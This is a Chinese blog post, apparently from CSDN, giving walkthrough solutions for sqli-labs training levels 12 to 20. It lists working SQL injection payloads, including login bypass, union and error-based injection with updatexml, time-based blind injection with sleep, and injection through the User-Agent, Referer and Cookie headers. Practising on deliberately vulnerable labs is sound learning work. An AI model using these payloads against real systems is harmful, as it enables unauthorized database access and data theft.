less12-less20（）

最新推荐文章于 2024-10-09 22:05:20 发布

姜姜--

最新推荐文章于 2024-10-09 22:05:20 发布

阅读量4k

点赞数

CC 4.0 BY-SA版权

分类专栏： sqli-labs记录文章标签：安全性测试

本文链接：https://blog.csdn.net/qq_36567469/article/details/123617601

sqli-labs记录专栏收录该内容

3 篇文章

订阅专栏

本文详细介绍了多种SQL注入攻击手法，包括user_agent、referer和cookie注入，展示了利用注入漏洞获取数据库信息的过程。同时，列举了不同类型的注入语句，如order by、union select和错误报错注入等，用于探测数据库结构和版本信息。针对无回显场景，提出了报错注入的解决策略。文章还提醒读者关注SQL注入的防范措施，确保系统安全。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

总结

user_agent注入
referer注入
cookie注入
updatexml（）报错注入

less12

用户名密码输入

a") or ("1"="1

得到一个账户Dumb、Dumb。
用户名密码处分别输入计算出行数

Dumb") and ("1"="1
Dumb") and 1=1 order by 2--

输入

Dumb") and ("1"="2
Dumb") and 1=2 union select 1,2--

输入

Dumb") and ("1"="2
Dumb") and 1=2 union select @@version,2--

less13

因为页面无回显，所以采用报错注入。

用户名密码输入

7') or ('1')=('1
7') or 1=1 order by 2--

7') or ('1')=('1
7') or 1=1 union select concat(left(rand(),3),'>',@@version),count(*) from information_schema.tables group by 1-- `

less14

双引号
1.

7" or "1"="1
7" or 1=1 order by 2--

7" or "1"="1
7" or 1=1 union select concat(left(rand(),3),'>',@@version),count(*) from information_schema.tables group by 1--

less15

123
1' or 1=1 and sleep(5)--

2.得到数据库长度

//用户名处输入任意数
1' or 1=1 and if(length(database())>1,sleep(5),1)--

less16

1") or 1=1 order by 2--

1") or length(database())>0--

less17（）

Dumb
Dumb' and updatexml(1,concat('>',database(),'>'),1)--

less18（）

user_agent注入

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述

less19##

referer注入

 ' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

在这里插入图片描述

less20

cookie注入

uname=admin' and updatexml(1,concat(0x7e,database(),0x7e),1)#

在这里插入图片描述